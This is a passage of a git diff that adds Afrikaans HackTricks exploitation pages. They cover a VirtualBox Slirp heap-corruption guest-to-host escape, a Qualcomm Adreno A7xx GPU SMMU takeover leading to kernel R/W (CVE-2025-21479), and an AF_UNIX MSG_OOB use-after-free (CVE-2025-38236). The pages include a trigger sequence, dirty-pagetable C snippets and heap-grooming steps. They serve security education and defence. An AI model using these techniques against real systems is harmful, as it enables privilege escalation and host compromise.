+- Deur crafted IP options te verskaf, word `ip_stripoptions()` gedwing om te veel data in-place met `memcpy()` te kopieer, sodat die aanvaller die volgende mbuf se `struct item`-header kan oorskryf en sy `zone`-veld na volledig beheerste data kan laat wys.
+- Wanneer die beskadigde mbuf gefree word, word `zone->pfFini()` met aanvaller-verskafte argumente getrigger; deur dit na `memcpy@plt` te laat wys, word 'n arbitrary copy/write-primitive verkry wat na GOT entries of ander control data binne die nie-PIE VirtualBox-binary gestuur kan word.[[1]](#references)
+
+## Packet allocator anatomy
+
+VirtualBox allokeer elke ingress Ethernet-frame vanaf 'n per-interface zone genaamd `zone_clust`. Elke 0x800-byte data chunk word deur 'n inline header voorafgegaan:
+```c
+struct item {
+uint32_t magic; // 0xdead0001
+void *zone; // uma_zone_t pointer with callbacks
+uint32_t ref_count;
+LIST_ENTRY(item) list; // freelist / used list links
+};
+```
+Wanneer ’n mbuf vrygestel word, vertrou die call stack `m_freem -> ... -> slirp_uma_free()` die inline header:
+
+1. `uma_zfree_arg()` bereken weer `item = (struct item *)mem - 1` en *behoort* `item->zone` te valideer, maar `Assert()` word in release builds uitgehaal.
+2. `slirp_uma_free()` laai `zone = item->zone` en voer onvoorwaardelik `zone->pfFini(zone->pData, data_ptr, zone->size)` uit, gevolg deur `zone->pfDtor(...)`.
+
+Daarom vertaal enige write-what-where na die mbuf-header in ’n beheerde indirect call tydens `free()`.[[1]](#references)
+
+## Infoleak via `m->m_len` override
+
+Bo-aan `ip_input()` het VirtualBox die volgende bygevoeg:
+```c
+if (m->m_len != RT_N2H_U16(ip->ip_len))
+m->m_len = RT_N2H_U16(ip->ip_len);
+```
+Omdat die toewysing **voor** die verifikasie van die IP-header plaasvind, kan 'n gas enige lengte tot en met 0xffff adverteer. Die res van die stack (ICMP, UDP, fragmentation handlers, ens.) neem aan dat `m->m_len` betroubaar is en gebruik dit om te bepaal hoeveel grepe van die mbuf af gekopieer moet word.
+
+Gebruik UDP packets met checksum `0` (wat "geen checksum" beteken). Die NAT fast-path stuur `m->m_len` grepe aan sonder om payload-integriteit te inspekteer, dus veroorsaak die opblaas van `ip_len` dat Slirp verby die werklike buffer lees en heap-residue aan die gas of aan 'n samewerkende eksterne helper buite die NAT terugstuur. Omdat die chunk-grootte 2048 grepe is, kan die leak die volgende insluit:[[1]](#references)
+
+- Die volgende mbuf se inline `struct item`, wat die freelist-volgorde en die werklike `zone`-pointer openbaar.
+- Heap cookies soos `magic`-velde, wat help om geldige headers te maak wanneer corruptions later uitgevoer word.
+
+## Oorskryf van naburige chunk-headers met IP-options
+
+Dieselfde vervalste lengte kan in 'n overwrite primitive omskep word deur die packet deur `ip_stripoptions()` te forseer (wat geaktiveer word wanneer die IP-header options het en die payload UDP/TCP is). Die helper bereken 'n kopieerlengte vanaf `m->m_len` en roep dan `memcpy()` aan om die transport-header oor die gestroopte options te skuif:
+
+1. Verskaf 'n lang `ip_len` sodat die berekende move-lengte verby die huidige mbuf strek.
+2. Sluit 'n klein aantal IP-options in sodat Slirp die stripping path betree.
+3. Wanneer `memcpy()` loop, lees dit vanaf die volgende mbuf en skryf dit oor die huidige mbuf se payload en inline header, wat `magic`, `zone`, `ref_count`, ens. korrupteer.
+
+Omdat die allocator packets van dieselfde interface aaneenlopend op die freelist hou, tref hierdie overflow die volgende chunk deterministies ná beskeie heap grooming.[[1]](#references)
+
+## Vervalsing van `uma_zone_t` om `pfFini` te kaap
+
+Sodra die aangrensende `struct item` korrupteerbaar is, verloop die exploit soos volg:[[1]](#references)
+
+1. Gebruik gelekte heap-adresse om 'n fake `uma_zone`-struktuur binne 'n mbuf te bou wat volledig deur die gas beheer word. Vul die volgende in:
+- `pfFini` met die PLT-entry van `memcpy()`.
+- `pData` met die verlangde destination pointer (bv. GOT-entry, vtable-slot, function pointer array).
+- `size` met die aantal grepe om te kopieer.
+- Opsioneel: `pfDtor` as 'n tweede-fase call (bv. om die nuutgeskrewe function pointer aan te roep).
+2. Oorskryf die teiken-mbuf se `zone`-veld met die pointer na die fake struktuur; pas `list`-pointers aan sodat freelist-bookkeeping konsekwent genoeg bly om crashes te voorkom.
+3. Free die mbuf. `slirp_uma_free()` voer nou `memcpy(dest=pData, src=item_data, n=size)` uit terwyl die mbuf steeds data bevat wat deur die gas beheer word, wat 'n arbitrary write lewer.
+
+Omdat die Linux VirtualBox-binary non-PIE is, is PLT-adresse vir `memcpy` en `system` vas en kan hulle direk gebruik word. Die gas kan ook strings soos `/bin/sh` binne 'n ander mbuf stoor wat steeds gereferenced word wanneer die gekaapte call uitgevoer word.[[1]](#references)
+
+## Heap grooming via fragmentation
+
+Slirp se per-interface zone is 3072 chunks diep en word aanvanklik as 'n aaneenlopende array opgedeel waarvan die freelist van hoë adresse afwaarts deurloop. Deterministiese adjacency kan bereik word deur:[[1]](#references)
+
+- Die NAT met baie `IP_MF` fragments van konstante grootte te flood sodat die reassembly-code voorspelbare mbuf-sekwense allokeer.
+- Spesifieke chunks te recycle deur fragments te stuur wat timeout, wat frees terug in die freelist in LIFO-volgorde forseer.
+- Kennis van die freelist-walk te gebruik om die toekomstige victim-mbuf direk ná die mbuf te plaas wat die IP-options overflow sal dra.
+
+Hierdie grooming verseker dat die overflow die geteikende `struct item` tref en dat die fake `uma_zone` binne die grense van die leak primitive bly.[[1]](#references)
+
+## Van arbitrary write na host code execution
+
+Met die memcpy-on-free primitive:[[1]](#references)
+
+1. Kopieer 'n attacker-beheerde `/bin/sh`-string en command buffer na 'n stabiele mbuf.
+2. Gebruik die primitive om 'n GOT-entry of indirect callsite (bv. 'n function pointer binne die NAT device state) met die PLT-entry van `system()` te oorskryf.
+3. Trigger die oorgeskrewe call. Omdat VirtualBox die NAT-device binne die host-process uitvoer, loop die payload met die privileges van die gebruiker wat VirtualBox uitvoer, wat 'n guest-to-host escape moontlik maak.
+
+Alternatiewe payloads sluit in die plasing van 'n miniature ROP-chain in heap memory en die kopiëring van sy adres na 'n callback wat gereeld aangeroep word, of die herverwysing van `pfFini`/`pfDtor` self na chained gadgets vir herhaalde writes.[[1]](#references)
+
+## Verwysings
+
+- [1] [Thinking Outside The Box: Exploiting VirtualBox Slirp NAT Heap Corruption](https://projectzero.google/2025/12/thinking-outside-the-box.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md b/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md
new file mode 100644
index 00000000000..8ca3377560d
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md
@@ -0,0 +1,145 @@
+# Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover na Kernel R/W)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Hierdie bladsy abstraheer 'n Adreno A7xx-mikrokode-logikafout wat in die praktyk waargeneem is (CVE-2025-21479) tot reproduceerbare exploitation-tegnieke: die misbruik van IB-vlak masking in Set Draw State (SDS) om privileged GPU-pakkette vanaf 'n unprivileged app uit te voer, daarna te pivot na GPU SMMU takeover en vervolgens na vinnige, stabiele kernel R/W via 'n dirty-pagetable trick.[[1]](#references)
+
+- Geaffekteer: Qualcomm Adreno A7xx GPU-firmware voor 'n microcode-fix wat die masking van register $12 van 0x3 na 0x7 verander het.
+- Primitive: Voer privileged CP-pakkette (byvoorbeeld CP_SMMU_TABLE_UPDATE) vanaf SDS uit, wat user-controlled is.
+- Uitkoms: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
+- Voorvereiste: Die vermoë om 'n KGSL GPU-context te skep en command buffers in te dien wat SDS bereik (normale app capability).
+
+## Agtergrond: IB-vlakke, SDS en die $12-masker
+
+- Die kernel handhaaf 'n ringbuffer (RB=IB0). Userspace dien IB1 in via CP_INDIRECT_BUFFER, wat aan IB2/IB3 koppel.
+- SDS is 'n spesiale command stream wat via CP_SET_DRAW_STATE betree word:
+- A6xx: SDS word as IB3 hanteer
+- A7xx: SDS is na IB4 geskuif
+- Microcode hou die huidige IB-vlak in register $12 by en beheer privileged pakkette sodat hulle slegs aanvaar word wanneer die effektiewe vlak met IB0 (kernel RB) ooreenstem.
+- Bug: A7xx-microcode het aangehou om $12 met 0x3 (2 bits) in plaas van 0x7 (3 bits) te mask. Omdat IB4 & 0x3 == 0, is SDS verkeerdelik as IB0 geïdentifiseer, wat privileged pakkette vanaf user-controlled SDS toegelaat het.[[1]](#references)
+
+Waarom dit saak maak:
+```
+A6XX | A7XX
+RB & 3 == 0 | RB & 3 == 0
+IB1 & 3 == 1 | IB1 & 3 == 1
+IB2 & 3 == 2 | IB2 & 3 == 2
+IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
+| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
+```
+Microcode-diffvoorbeeld (patch het die mask na 0x7 oorgeskakel):
+```
+@@ CP_SMMU_TABLE_UPDATE
+- and $02, $12, 0x3
++ and $02, $12, 0x7
+@@ CP_FIXED_STRIDE_DRAW_TABLE
+- and $02, $12, 0x3
++ and $02, $12, 0x7
+```
+## Exploitation-oorsig
+
+Doel: Vanuit SDS (verkeerdelik as IB0 gelees) bevoorregte CP packets uit te reik om die GPU SMMU na aanvaller-geskepte pagetables te herwys, en dan GPU copy/write packets vir arbitrêre fisiese R/W te gebruik. Laastens, skuif na vinnige CPU-kant R/W via dirty pagetable.[[1]](#references)
+
+Hoëvlak-ketting
+- Skep ’n fake GPU pagetable in gedeelde geheue
+- Betree SDS en voer uit:
+- CP_SMMU_TABLE_UPDATE -> skakel oor na fake pagetable
+- CP_MEM_WRITE / CP_MEM_TO_MEM -> implementeer write/read primitives
+- CP_SET_DRAW_STATE met run-now flags (dispatch onmiddellik)
+
+GPU R/W primitives via fake pagetable
+- Write: CP_MEM_WRITE na ’n GPU VA wat deur die aanvaller gekies is, waarvan die PTEs na ’n gekose PA gemap word -> arbitrêre fisiese write
+- Read: CP_MEM_TO_MEM kopieer 4/8 bytes vanaf die teiken-PA na ’n userspace-gedeelde buffer (batch vir groter reads)[[3]](#references)
+
+Notas
+- Elke Android-proses kry ’n KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Om contexts te wissel, werk die SMMU-tables normaalweg in die RB by; die bug laat jou toe om dit in SDS te doen.
+- Oormatige GPU-verkeer kan UI-blackouts en reboots veroorsaak; reads is klein (4/8B) en sync is by verstek stadig.
+
+## Bou van die SDS command sequence
+
+- Spray ’n fake GPU pagetable in gedeelde geheue sodat minstens een instansie by ’n bekende fisiese adres land (bv. deur allocator grooming en herhaling).
+- Stel ’n SDS-buffer saam wat die volgende, in volgorde, bevat:
+1) CP_SMMU_TABLE_UPDATE na die fisiese adres van die fake pagetable
+2) Een of meer CP_MEM_WRITE- en/of CP_MEM_TO_MEM-packets om R/W met jou nuwe translations te implementeer
+3) CP_SET_DRAW_STATE met flags om run-now[[1]](#references)
+
+Die presiese packet-encodings verskil volgens firmware; gebruik freedreno se afuc/packet-dokumentasie om die words saam te stel, en maak seker dat die SDS-submission path deur die driver gevolg word.[[2]](#references)
+
+## Vind van Samsung-kernel-physbase onder fisiese KASLR
+
+Samsung randomizeer die kernel se fisiese basis binne ’n bekende streek op Snapdragon-toestelle. Brute-force die verwagte reeks en soek die eerste 16 bytes van _stext_.[[1]](#references)
+
+Verteenwoordigende lus
+```c
+while (!ctx->kernel.pbase) {
+offset += 0x8000;
+uint64_t d1 = kernel_physread_u64(ctx, base + offset);
+if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
+uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
+if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
+ctx->kernel.pbase = base + offset - 0x10000;
+break;
+}
+}
+```
+Sodra physbase bekend is, bereken die kernel virtual met die lineêre map:
+```
+_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
+```
+## Stabilisering na vinnige, betroubare CPU-side kernel R/W (dirty pagetable)
+
+GPU R/W is stadig en het ’n klein granuleringsgrootte. Skakel oor na ’n vinnige/stabiele primitive deur jou eie proses se PTEs te korrupteer (“dirty pagetable”):[[1]](#references)[[4]](#references)
+
+Stappe
+- Vind die huidige task_struct -> mm_struct -> mm_struct->pgd met behulp van die stadige GPU R/W-primitives
+- mmap twee aangrensende userspace-bladsye A en B (bv. by 0x1000)
+- Loop deur PGD->PMD->PTE om A/B se PTE-fisiese adresse op te los (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
+- Oorskryf B se PTE om na die laaste-vlak-pagetable te wys wat A/B bestuur, met RW-eienskappe (phys_to_readwrite_pte)
+- Skryf via B se VA om A se PTE te verander sodat dit teiken-PFNs map; lees/skryf kernel memory via A se VA en flush die TLB totdat ’n sentinel omskakel
+
+
+Voorbeeld van dirty-pagetable pivot-snippet
+```c
+uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
+MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
+uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
+page_map[0] = 0x4242424242424242;
+
+uint64_t tsk = get_curr_task_struct(ctx);
+uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
+uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
+
+uint64_t pgd_off = get_pgd_offset((uint64_t)map);
+uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
+uint64_t pmd_off = get_pmd_offset((uint64_t)map);
+uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
+uint64_t pte_off = get_pte_offset((uint64_t)map);
+uint64_t pte_addr = phys_pte + pte_off;
+uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
+kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
+while (page_map[0] == 0x4242424242424242) flush_tlb();
+```
+
+
+## Opsporing
+
+- Telemetrie: waarsku as CP_SMMU_TABLE_UPDATE (of soortgelyke bevoorregte opcodes) buite RB/IB0 verskyn, veral in SDS; monitor abnormale sarsies van 4/8-byte CP_MEM_TO_MEM en oormatige TLB-flushpatrone
+
+## Impak
+
+'n Plaaslike toepassing met GPU-toegang kan bevoorregte GPU-pakkette uitvoer, die GPU SMMU kaap, arbitrêre kernel fisiese/virtuele R/W verkry, SELinux deaktiveer en root op geaffekteerde Snapdragon A7xx-toestelle verkry (bv. Samsung S23). Erns: Hoog (kernel-kompromittering).[[1]](#references)
+
+### Sien ook
+
+{{#ref}}
+pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md
+{{#endref}}
+
+## Verwysings
+
+- [1] [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
+- [2] [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
+- [3] [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
+- [4] [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md b/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
new file mode 100644
index 00000000000..4d052e04ed8
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
@@ -0,0 +1,112 @@
+# AF_UNIX MSG_OOB UAF & SKB-gebaseerde kernel-primitiewe
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## TL;DR
+
+- Linux >=6.9 het `manage_oob()` se gebrekkige refactor (`5aa57d9f2d53`) vir AF_UNIX `MSG_OOB`-hantering bekendgestel. Opeengestapelde nul-lengte SKBs het die logika omseil wat `u->oob_skb` skoonmaak, sodat ’n normale `recv()` die out-of-band SKB kon vrylaat terwyl die pointer steeds geldig gelyk het, wat tot CVE-2025-38236 gelei het.[[1]](#references)
+- Deur `recv(..., MSG_OOB)` weer te aktiveer, word die dangling `struct sk_buff` gedereferensieer. Met `MSG_PEEK` word die pad `unix_stream_recv_urg() -> __skb_datagram_iter() -> copy_to_user()` ’n stabiele 1-byte arbitrêre kernel-read; sonder `MSG_PEEK` verhoog die primitive `UNIXCB(oob_skb).consumed` by offset `0x44`, wat beteken dat +4 GiB by die boonste dword van enige 64-bis-waarde wat by offset `0x40` binne die hergeallokeerde objek geplaas is, gevoeg word.[[1]](#references)
+- Deur orde-0/1 unmovable pages te dreineer (page-table spray), ’n SKB slab page geforseerd vry te stel na die buddy allocator, en die fisiese page as ’n pipe buffer te hergebruik, vervals die exploit SKB-metadata in beheerde geheue om die dangling page te identifiseer en die read primitive na `.data`, vmemmap-, per-CPU- en page-table-areas te verskuif ondanks usercopy-hardening.[[1]](#references)
+- Dieselfde page kan later as die boonste kernel-stack page van ’n nuut gekloonde thread herwin word. `CONFIG_RANDOMIZE_KSTACK_OFFSET` word ’n oracle: deur die stack-uitleg te ondersoek terwyl `pipe_write()` blokkeer, wag die aanvaller totdat die gestoor `copy_page_from_iter()`-lengte (R14) by offset `0x40` land, en aktiveer dan die +4 GiB-verhoging om die stack-waarde te korrupteer.[[1]](#references)
+- ’n Self-luserende `skb_shinfo()->frag_list` hou die UAF-syscall in kernel space aan die draai totdat ’n samewerkende thread `copy_from_iter()` laat stilstaan (via `mprotect()` oor ’n VMA wat ’n enkele `MADV_DONTNEED`-gat bevat). Deur die lus te breek, word die verhoging vrygestel presies wanneer die stack-teiken aktief is, wat die `bytes`-argument vergroot sodat `copy_page_from_iter()` verby die pipe-buffer page in die volgende fisiese page skryf.[[1]](#references)
+- Deur pipe-buffer PFNs en page tables met die read primitive te monitor, verseker die aanvaller dat die volgende page ’n PTE page is, omskep die OOB-copy in arbitrêre PTE-writes, en verkry onbeperkte kernel read/write/execute. Chrome het bereikbaarheid versag deur `MSG_OOB` vanaf renderers te blokkeer (`6711812`), en Linux het die logikafout in `32ca245464e1` reggestel en ook `CONFIG_AF_UNIX_OOB` ingestel om die feature opsioneel te maak.[[1]](#references)[[2]](#references)[[3]](#references)[[4]](#references)
+
+## Weergawe / konfigurasie-kontrolelys
+
+- **Feature lineage:** AF_UNIX `MSG_OOB`-ondersteuning self is deur `314001f0bf92` ("af_unix: Add OOB support") bygevoeg en vir Linux 5.15 gemerge. Die laaste byte van ’n `send(..., MSG_OOB)` word die urgent byte en word deur `unix_sock->oob_skb` nagespoor.[[1]](#references)
+- **Publieke exploitability window:** Jann Horn se publieke exploit write-up fokus op Linux `>= 6.9`, maar vendors kan beide gebrekkige en reggestelde AF_UNIX OOB-patches na ouer stable trees backport. Kontroleer vir `32ca245464e1` (of ’n ekwivalente stable backport) eerder as om slegs op die release string staat te maak.[[1]](#references)[[2]](#references)
+- **Build/runtime gates:** Die attack path vereis dat AF_UNIX OOB-ondersteuning tydens runtime bestaan (`CONFIG_AF_UNIX_OOB`). Sedert `5155cbcdbf03` (Desember 2024) is daardie opsie eksplisiet in `.config` sigbaar; voor dit het OOB-ondersteuning stilweg saam met AF_UNIX-ondersteuning by verstek gekom.[[1]](#references)[[4]](#references)
+- **Sandbox reachability:** Enige sandbox wat AF_UNIX stream sockets blootstel en nie `MSG_OOB` / `MSG_PEEK` filter nie, bly interessant selfs al gebruik die application nooit doelbewus urgent data nie. Chrome het die bereikbaar pad gesluit deur socket-call flags in CL `6711812` toe te laat op ’n allowlist.[[1]](#references)[[3]](#references)
+
+## Root cause: `manage_oob()` aanvaar slegs een nul-lengte SKB
+
+`unix_stream_read_generic()` verwag dat elke SKB wat deur `manage_oob()` teruggestuur word, `unix_skb_len() > 0` het. Ná `93c99f21db36` het `manage_oob()` die `skb == u->oob_skb`-cleanup path oorgeslaan wanneer dit eers ’n nul-lengte SKB verwyder het wat deur `recv(MSG_OOB)` agtergelaat is. Die daaropvolgende fix (`5aa57d9f2d53`) het steeds van die eerste nul-lengte SKB na `skb_peek_next()` gevorder sonder om die lengte weer te kontroleer. Met twee opeenvolgende nul-lengte SKBs het die funksie die tweede leë SKB teruggestuur; `unix_stream_read_generic()` het dit toe oorgeslaan sonder om `manage_oob()` weer aan te roep, sodat die werklike OOB SKB uit die queue gehaal en vrygestel is terwyl `u->oob_skb` steeds daarna gewys het.[[1]](#references)
+
+### Minimale trigger sequence
+```c
+char byte;
+int socks[2];
+socketpair(AF_UNIX, SOCK_STREAM, 0, socks);
+for (int i = 0; i < 2; ++i) {
+send(socks[1], "A", 1, MSG_OOB);
+recv(socks[0], &byte, 1, MSG_OOB);
+}
+send(socks[1], "A", 1, MSG_OOB); // SKB3, u->oob_skb = SKB3
+recv(socks[0], &byte, 1, 0); // normal recv frees SKB3
+recv(socks[0], &byte, 1, MSG_OOB); // dangling u->oob_skb
+```
+## AF_UNIX OOB-semantiek wat vir exploitation saak maak
+
+- **Boundary-semantiek:** AF_UNIX OOB is TCP-agtig: ’n normale `recv()` stop by die urgent mark, selfs wanneer die caller se buffer groot genoeg is om meer te verbruik (`oob_break` in die upstream kselftest). Daarom kan ’n verbruikte OOB SKB relevant bly nadat die urgent byte reeds gelees is.[[1]](#references)[[5]](#references)
+- **Laat val vs. lees van urgent data:** Met die verstek `SO_OOBINLINE = 0` gee `recv(MSG_OOB)` die urgent byte terug, maar die queue behou steeds die verbruikte SKB as ’n boundary marker. ’n Latere gewone `recv()` kan óf by daardie mark stop óf die verbruikte OOB laat val en voortgaan na die volgende SKB (`oob_break_drop`) — presies die hoekgeval wat stale `u->oob_skb` in ’n UAF verander.[[1]](#references)
+- **`SO_OOBINLINE` verander die trigger-oppervlak:** As `SO_OOBINLINE` op die receiver geaktiveer is, gee `recv(MSG_OOB)` `-EINVAL` terug en word die urgent byte eerder deur gewone `recv()` verbruik. Public reproducers aanvaar die verstek non-inline-modus.[[1]](#references)
+- **Nuttige observability:** `EPOLLPRI` volg of ’n urgent mark steeds pending is, en `ioctl(fd, SIOCATMARK, &atmark)` wys of die volgende unread byte by die urgent boundary lê. Wanneer jy die primitive by ’n ander kernel aanpas, is `tools/testing/selftests/net/af_unix/msg_oob.c` ’n goeie behavioural oracle.[[5]](#references)
+
+## Primitives wat deur `unix_stream_recv_urg()` blootgestel word
+
+1. **1-byte arbitrary read (repeatable):** `state->recv_actor()` voer uiteindelik `copy_to_user(user, skb_sourced_addr, 1)` uit. As die dangling SKB in attacker-controlled memory (of in ’n controlled alias soos ’n pipe page) herallokeer word, kopieer elke `recv(MSG_OOB | MSG_PEEK)` ’n byte vanaf ’n arbitrary kernel address wat deur `__check_object_size()` toegelaat word na user space sonder om te crash. Deur `MSG_PEEK` gestel te hou, bly die dangling pointer vir unlimited reads behoue.[[1]](#references)
+2. **Constrained write:** Wanneer `MSG_PEEK` nie gestel is nie, verhoog `UNIXCB(oob_skb).consumed += 1` die 32-bit-veld by offset `0x44`. Op 0x100-aligned SKB allocations lê dit vier bytes bo ’n 8-byte aligned word, wat die primitive in ’n +4 GiB-increment van die word by offset `0x40` verander. Om dit in ’n kernel write te omskep, moet ’n sensitive 64-bit value by daardie offset geplaas word.[[1]](#references)
+
+## Reallocating the SKB page vir arbitrary read
+
+1. **Drain order-0/1 unmovable freelists:** Map ’n groot read-only anonymous VMA en fault elke page om page-table allocation (order-0 unmovable) af te dwing. Deur ~10% van RAM met page tables te vul, verseker jy dat daaropvolgende `skbuff_head_cache` allocations vars buddy pages trek sodra order-0 lists uitgeput is.[[1]](#references)
+2. **Spray SKBs en isoleer ’n slab page:** Gebruik dosyne stream socketpairs en queue honderde klein messages per socket (~0x100 bytes per SKB) om `skbuff_head_cache` te vul. Free gekose SKBs om ’n target slab page volledig onder attacker control te bring en monitor sy `struct page` refcount via die emerging read primitive.
+3. **Gee die slab page terug aan die buddy allocator:** Free elke object op die page, en voer dan genoeg addisionele allocations/frees uit om die page uit SLUB se per-CPU partial lists en per-CPU page lists te stoot sodat dit ’n order-1 page op die buddy freelist word.
+4. **Reallocate as pipe buffer:** Create honderde pipes; elke pipe reserveer minstens twee 0x1000-byte data pages (`PIPE_MIN_DEF_BUFFERS`). Wanneer die buddy allocator ’n order-1 page split, hergebruik een helfte die freed SKB page. Om te bepaal watter pipe en watter offset met `oob_skb` alias, skryf unieke marker bytes in fake SKBs wat regdeur pipe pages gestoor word en doen herhaalde `recv(MSG_OOB | MSG_PEEK)` calls totdat die marker teruggegee word.
+5. **Forge ’n stabiele SKB-layout:** Populate die gealiaseerde pipe page met ’n fake `struct sk_buff` waarvan die `data`/`head` pointers en `skb_shared_info`-struktuur na arbitrary kernel addresses van belang wys. Omdat x86_64 SMAP binne `copy_to_user()` deaktiveer, kan user-mode addresses as staging buffers dien totdat kernel pointers bekend is.
+6. **Respekteer usercopy hardening:** Die copy slaag teen `.data/.bss`, vmemmap entries, per-CPU vmalloc ranges, ander threads se kernel stacks en direct-map pages wat nie oor higher-order folio boundaries strek nie. Reads teen `.text` of specialized caches wat deur `__check_heap_object()` rejected word, gee eenvoudig `-EFAULT` terug sonder om die proses dood te maak.
+
+## Introspecting allocators met die read primitive
+
+- **Break KASLR:** Lees enige IDT descriptor vanaf die fixed mapping by `CPU_ENTRY_AREA_RO_IDT_VADDR` (`0xfffffe0000000000`) en trek die bekende handler offset af om die kernel base te recover.[[1]](#references)
+- **SLUB/buddy state:** Globale `.data` symbols onthul `kmem_cache` bases, terwyl vmemmap entries elke page se type flags, freelist pointer en owning cache blootlê. Deur per-CPU vmalloc segments te scan, word `struct kmem_cache_cpu` instances gevind sodat die volgende allocation address van key caches (bv. `skbuff_head_cache`, `kmalloc-cg-192`) voorspelbaar word.
+- **Page tables:** In plaas daarvan om `mm_struct` te lees (wat deur usercopy geblokkeer word), loop deur die globale `pgd_list` (`struct ptdesc`) en match die huidige `mm_struct` via `cpu_tlbstate.loaded_mm`. Sodra die root `pgd` bekend is, kan die primitive deur elke page table traverse om PFNs vir pipe buffers, page tables en kernel stacks te map.
+
+## Recycling the SKB page as the top kernel-stack page
+
+1. Free die controlled pipe page weer en bevestig via vmemmap dat sy refcount na zero terugkeer.[[1]](#references)
+2. Allocate onmiddellik vier helper pipe pages en free hulle dan in reverse order sodat die buddy allocator se LIFO-gedrag deterministic is.
+3. Call `clone()` om ’n helper thread te spawn; Linux stacks is vier pages op x86_64, dus word die vier mees onlangs gefreede pages sy stack, met die laaste freed page (die voormalige SKB page) by die hoogste addresses.
+4. Verify via page-table walk dat die helper thread se top stack PFN gelyk is aan die recycled SKB PFN.
+5. Gebruik die arbitrary read om die stack layout waar te neem terwyl jy die thread na `pipe_write()` stuur. `CONFIG_RANDOMIZE_KSTACK_OFFSET` trek ’n random 0x0–0x3f0 (aligned) van `RSP` af per syscall; herhaalde writes gekombineer met `poll()`/`read()` vanaf ’n ander thread wys wanneer die writer met die gewenste offset block. Wanneer jy gelukkig is, lê die spilled `copy_page_from_iter()` `bytes` argument (R14) by offset `0x40` binne die recycled page.
+
+## Placing fake SKB metadata op die stack
+
+- Gebruik `sendmsg()` op ’n AF_UNIX datagram socket: die kernel kopieer die user `sockaddr_un` na ’n stack-resident `sockaddr_storage` (tot 108 bytes) en die ancillary data na ’n ander on-stack buffer voordat die syscall block terwyl dit vir queue space wag. Dit laat toe dat ’n presiese fake SKB structure in stack memory geplant word.[[1]](#references)
+- Detect wanneer die copy voltooi is deur ’n 1-byte control message te voorsien wat in ’n unmapped user page geleë is; `____sys_sendmsg()` faults dit in, sodat ’n helper thread wat `mincore()` op daardie address poll, leer wanneer die destination page present is.
+- Zero-initialized padding van `CONFIG_INIT_STACK_ALL_ZERO` vul unused fields gerieflik, wat ’n geldige SKB header sonder ekstra writes voltooi.
+
+## Timing van die +4 GiB-increment met ’n self-looping frag list
+
+- Forge `skb_shinfo(fakeskb)->frag_list` om na ’n tweede fake SKB te wys (gestoor in attacker-controlled user memory) wat `len = 0` en `next = &self` het. Wanneer `skb_walk_frags()` deur hierdie list binne `__skb_datagram_iter()` iterate, spin execution indefinitely omdat die iterator nooit `NULL` bereik nie en die copy loop geen progress maak nie.[[1]](#references)
+- Hou die recv syscall binne die kernel aan die loop deur die tweede fake SKB self-loop te laat. Wanneer dit tyd is om die increment te fire, verander eenvoudig die tweede SKB se `next` pointer vanuit user space na `NULL`. Die loop exit en `unix_stream_recv_urg()` voer onmiddellik een keer `UNIXCB(oob_skb).consumed += 1` uit, wat die object beïnvloed wat tans die recycled stack page by offset `0x40` beset.
+
+## Stalling `copy_from_iter()` sonder userfaultfd
+
+- Map ’n reuse anonymous RW VMA en fault dit volledig in.[[1]](#references)
+- Punch ’n single-page hole met `madvise(MADV_DONTNEED, hole, PAGE_SIZE)` en plaas daardie address binne die `iov_iter` wat gebruik word vir `write(pipefd, user_buf, 0x3000)`.
+- Call parallel `mprotect()` op die hele VMA vanuit ’n ander thread. Die syscall gryp die mmap write lock en loop deur elke PTE. Wanneer die pipe writer die hole bereik, block die page fault handler op die mmap lock wat deur `mprotect()` gehou word, wat `copy_from_iter()` op ’n deterministic point pause terwyl die spilled `bytes` value op die stack segment wat deur die recycled SKB page gehuisves word, bly.
+
+## Turning the increment into arbitrary PTE writes
+
